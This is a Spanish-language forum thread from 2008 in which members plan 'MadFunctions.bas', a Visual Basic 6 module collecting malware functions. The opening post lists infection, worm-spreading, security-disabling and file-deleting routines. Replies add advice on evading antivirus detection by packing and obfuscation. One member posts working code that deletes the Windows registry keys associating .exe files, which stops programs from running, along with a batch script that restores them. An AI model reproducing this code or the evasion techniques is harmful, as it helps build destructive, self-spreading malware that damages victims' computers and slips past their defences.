[+] Proyecto Open Source: MadFunctions

Iniciado por Mad Antrax, 22 Enero 2008, 00:58 AM

0 Miembros y 1 Visitante están viendo este tema.

Mad Antrax

MadFunctions.bas

Que es esto?
La idea es programar un módulo para VB6 (*.bas) que pueda ser agregado a cualquier proyecto, este módulo irá orientado a la programación de 'malware' en general y facilitará muchísimo la tarea del programador a la hora de implementar las típicas funciones que todo 'malware' devería tener.

Que funciones se integrarán en MadFunctions.bas?
Pues os dejo un listado de las funciones que a día de hoy 22/01/08 voy a implementar, algunas de ellas ya estás hechas (y publicadas en este foro) y otras me falta terminarlas, aquí el listado, el nombre de las funciones (así como sus argumentos) lo describen todo xD

Código (vb) [Seleccionar]
'1) Infection Functions

Private Sub infect_HardDrive(ByVal DriveLetter As String) As Integer
Private Sub infect_USBDrive() As Integer
Private Sub infect_NetBiosLan(ByVal SubNet As String) As String
Private Sub infect_File(ByVal FilePath As String) As Boolean
Private Sub infect_ZipFile(ByVal ZipPath As String) As Boolean
Private Sub infect_RarFile(ByVal RarPath As String) As Boolean

'2) Spreading Worms Functions

Private Sub spread_MSN() As Boolean
Private Sub spread_Yahoo() As Boolean
Private Sub spread_GTalk() As Boolean
Private Sub spread_Skype() As Boolean
Private Sub spread_P2P() As Boolean

'3) Locking Functions

Private Sub lock_Regedit() As Boolean
Private Sub lock_SysRestore() As Boolean
Private Sub lock_SecurityCenter() As Boolean
Private Sub lock_Firewall() As Boolean
Private Sub lock_SysUpdates() As Boolean
Private Sub lock_IEOptions() As Boolean
Private Sub lock_TaskMgr() As Boolean

'4) Deleting Functions

Private Sub delete_File(ByVal FilePath As String) As Boolean
Private Sub delete_FileSecure(ByVal FilePath As String) As Boolean
Private Sub delete_AllFolders(ByVal FolderPath As String) As Boolean

'5) Managing Process/Services

Private Sub kill_Process(ByVal ProcessName As String) As Integer
Private Sub kill_Service(ByVal ServiceName As String) As Integer

'6) Internet Functions

Private Sub get_PublicIP() As String
Private Sub get_PrivateIP() As String
Private Sub download_File(ByVal ULR As String) As Boolean
Private Sub kill_Google() As Boolean

'7) FTP Functions

Private Sub ftp_Upload(ByVal ftpServer As String, ByVal ftpLogon As String, ByVal ftpPass As String, ByVal FileUploadPath As String) As Boolean
Private Sub ftp_Download(ByVal ftpServer As String, ByVal ftpLogon As String, ByVal ftpPass As String, ByVal FileDoenloadPath As String) As Boolean

'8) Self Funtions

Private Sub MeltFile()
Private Sub isMutexRunning() As Boolean

'9) Net/Lan Functions

Private Sub net_ShareFolder(ByVal FolderPath As String, ByVal SharedName As String) As Boolean
Private Sub net_Folder2Drive(ByVal FolderPath As String, ByVal DriveLetter As String) As Boolean

'10) Attributes knoking Functions

Private Sub change_IncreaseBytes(ByVal FilePath As String, ByVal HowManyBytes As String) As Boolean
Private Sub change_VanishFile(ByVal FilePath As String) As Boolean
Private Sub change_DateMod(ByVal FilePath As String) As Boolean

'11) System Functions

Private Sub system_Shutdown()
Private Sub system_Logoff()


Ojo, faltan las funciones de FileCopy (para copiar ficheros o nuestro ejecutable) y las de Autorun (aquí hay mucho que exprimir), se está barajando la opción de añadir funciones de ADS (Alternate Data Streams), pero no sé aun...

Éste va a ser el listado definitivo de las funciones?
No, tengo que hacer una encuesta, ya que muchas de las funciones actualmente expuestas rozan la ilegalidad y pueden estar fuera del Hacking Ético (por ejemplo las funciones de Spreading Worms o las de Infección de Ficheros, Discos USB, Redes Completas, etc...). La encuesta será lanzada en pocos días.

Puedo contribuir, aportando ideas, aportando funciones, etc?
Sí, aunque me guste programar este tipo de cosas, una ayuda nunca viene mal, si tienes cualquier idea, sugerencia, rectificación, mejora, ... o si tienes alguna función creada por ti mismo que desearías incluir aquí: por favor exprésalo en este post para que todos decidamos si incluirlo o no.




Por el momento os pido que miréis el listado actual y opinéis, si debemos quitar/añadir algo, ideas, mejoras, etc... Se buscan Beta-Testers para probar alguna de las funciones bajo circunstancias poco comunes (En Windows 2000, sin privilegios de Administrador, bajo ciertos AntiVirus, etc...)

Saludos, vuestro amigo cojonudo: ||MadAntrax|| :xD
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

‭‭‭‭jackl007

Un consejo; las funciones de este modo seran detectadas por muchos antivirus ...
y hay que estar constantemnte modificando el codigo o buscando otra manera de hacer lo mismo para evitar eso ...
yo implemntare las que tenga en mi Pc

NadiceJMA

me parece buena idea esta, la verdad quisiera saber si puedes agregar una funcion para que podamos obtener el escritorio remoto...

aaaa me ofresco como beta tester

Mad Antrax

Cita de: jackl007 en 22 Enero 2008, 01:07 AM
Las funciones de este modo seran detectadas por muchos antivirus ...
Las funciones las estoy programando a mano, así que cuando salga el módulo serán todas indetectables.

Cuando compiles tu proyecto, podrá shacerlo en código nativo o P-Code (consigues 2 proyectos identicos con estructura interna modificada, evitas los AV y su heuristica)

Citary hay que estar constantemnte modificando el codigo o buscando otra manera de hacer lo mismo para evitar eso ...
Cuando tengas el proyecto compilado, lo empaquetas con UPX, FSG o lo que quieras, además siempre podrás cambiar las variables (de Integer a Long por ejemplo), con esto modificas las zonas de la pila (ya que Long requiere más zona de memoria que un Integer) y evitas las firmas de los AntiVirus. O puedes cambiar las Strings de las funciones

Yo creo que puede ser un proyecto bonito
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

‭‭‭‭jackl007

#4
Esta idea la hice yo; me di cuenta de que si elimino esas claves en el registro, se puede causar graves molestias para quien no sepa mucho, en cuanto a los ejecutables :D.

Modulo para manejar el registro; la puedes usar para mas cosas :D:
Código (vb) [Seleccionar]
Const REG_SZ = 1
Const REG_BINARY = 3
Const REG_DWORD = 4

Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_CLASSES_ROOT = &H80000000
' Declaraciones de API para manipulacion del Registro

Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Public Function RegQueryStringValue(ByVal hKey As Long, ByVal strValueName As String) As String
   
    Dim lResult As Long, lValueType As Long, strBuf As String, lDataBufSize As Long
   
    lResult = RegQueryValueEx(hKey, strValueName, 0, lValueType, ByVal 0, lDataBufSize)
    If lResult = 0 Then
        If lValueType = REG_SZ Then
   
            strBuf = String(lDataBufSize, Chr$(0))
            'recupera el valor del key
            lResult = RegQueryValueEx(hKey, strValueName, 0, 0, ByVal strBuf, lDataBufSize)
            If lResult = 0 Then
   
                RegQueryStringValue = Left$(strBuf, InStr(1, strBuf, Chr$(0)) - 1)
            End If
        ElseIf lValueType = REG_BINARY Then
            Dim strData As Integer
            'recupera el valor del key
            lResult = RegQueryValueEx(hKey, strValueName, 0, 0, strData, lDataBufSize)
            If lResult = 0 Then
                RegQueryStringValue = strData
            End If
         ElseIf lValueType = REG_DWORD Then
           
            'recupera el valor del key
            lResult = RegQueryValueEx(hKey, strValueName, 0, 0, strData, lDataBufSize)
            If lResult = 0 Then
                RegQueryStringValue = strData
            End If
           
        End If
    End If
End Function

Public Function GetString(hKey As Long, strPath As String, strValue As String)

    Dim Ret
    'Abre Key
    RegOpenKey hKey, strPath, Ret
    'Carga Contenido
    GetString = RegQueryStringValue(Ret, strValue)
    'Cierra Key
    RegCloseKey Ret
End Function

Public Function SaveStringWORD(hKey As Long, strPath As String, strValue As String, strData As String)
    Dim Ret
    RegCreateKey hKey, strPath, Ret
    RegSetValueEx Ret, strValue, 0, REG_DWORD, CLng(strData), 4
    RegCloseKey Ret
End Function
Public Function SaveStringSZ(hKey As Long, strPath As String, strValue As String, strData As String)
    Dim Ret
    RegCreateKey hKey, strPath, Ret
    RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
   
    RegCloseKey Ret
End Function

Public Function DelSetting(hKey As Long, strPath As String, strValue As String)
    'No usado
    'Puedes usarlo para borrar entradas

    Dim Ret
    'Crea una nueva Key
    RegCreateKey hKey, strPath, Ret
    'Borra el valor de la Key
    RegDeleteKey Ret, strValue
    'Cierra el Key
    RegCloseKey Ret
End Function



y la funcion:

Código (vb) [Seleccionar]

Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Sub Form_Load()
fore = "exefile\shell\open\command"
fore1 = "exefile\shell\runas\command"

fore2 = "exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}"
fore3 = "exefile\shellex\DropHandler"
fore4 = "exefile\shellex\PropertySheetHandlers\ShimLayer Property Page"
fore5 = "exefile\DefaultIcon"
fore6 = "exefile\shellex\PropertySheetHandlers\PifProps"
RegDeleteKey HKEY_CLASSES_ROOT, fore
RegDeleteKey HKEY_CLASSES_ROOT, fore1
RegDeleteKey HKEY_CLASSES_ROOT, fore2
RegDeleteKey HKEY_CLASSES_ROOT, fore3
RegDeleteKey HKEY_CLASSES_ROOT, fore4 'Des
RegDeleteKey HKEY_CLASSES_ROOT, fore5
RegDeleteKey HKEY_CLASSES_ROOT, fore6

End
End Sub



NOTA: No la pruebes en tu pc! o  si la pruebas desactiva: DES

vacuna:


Código (vb) [Seleccionar]
@echo off
assoc .exe=exefile
ftype exefile="%1" %*
@echo Windows Registry Editor Version 5.00>%TEMP%\exe.reg
@echo [HKEY_CLASSES_ROOT\exefile]>>%TEMP%\exe.reg
@echo @="Aplicacion">>%TEMP%\exe.reg
@echo "NeverShowExt"="">>%TEMP%\exe.reg
@echo [HKEY_CLASSES_ROOT\exefile\Shell\Open\Command]>>%TEMP%\exe.reg
@echo @=hex(2):22,00,25,00,31,00,22,00,20,00,25,00,2a,00,00,00>>%TEMP%\exe.reg
regedit /s %TEMP%\exe.reg
del %TEMP%\exe.reg


Nota2: lo edite xq cambie de funcion, la otra la probe y no hizo nada ... esta que pongo aqui funciona bien! :D
Cuidado, lo que hace es borrar las claves que asocian la extension EXE (re-muy importante, imaginas iniciar tu windows sin que te cargen nada??? es una joda).

‭‭‭‭jackl007

#5
Aporto esta infeccion en el registro para activar 'G¡f' como ejecutable; incluso agrega el icono del propio gif para no necesitar atribuirle un icono :D
esta en batch, alguien se toma el trabajo de traducirlo? no tengo mucho tiempo; pero para los "" pueden usar chr(34) ...
o tranquilamnte lo colocan en un text y colocan esto
Código (vb) [Seleccionar]
Open "ruta" For Output As #1
Print #1, text1.Text
Close #1


Code:

cobein

Con respecto al tema de ls AVs podrian utilizar alguna herramienta como el VBEXEObfuscator
http://www.advancevb.com.ar
Más Argentino que el morcipan
Aguante el Uvita tinto, Tigre, Ford y seba123neo
Karcrack es un capo.

~~

Yo esto lo veo mas util para copiar solo las funciones q te hagan falta y no todo el modulo, q si no va a ser mas facil q detecten tu aplicacion y va a subir mucho el peso.. pero la iniciativa es wena ;)

Mad Antrax

Cita de: E0N en 22 Enero 2008, 19:17 PM
Yo esto lo veo mas util para copiar solo las funciones q te hagan falta y no todo el modulo, q si no va a ser mas facil q detecten tu aplicacion y va a subir mucho el peso.. pero la iniciativa es wena ;)

Claro, yo crearé el módulo y cada uno que coja las funciones que necesite
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

Hans el Topo

van a salir tropecientas,
igual es conveniente crear varios módulos cada uno orientado a una serie de tareas concretas y no tan genérico

Citar
Éste va a ser el listado definitivo de las funciones?
No, tengo que hacer una encuesta, ya que muchas de las funciones actualmente expuestas rozan la ilegalidad y pueden estar fuera del Hacking Ético

eso me ha hecho reír ...  :-X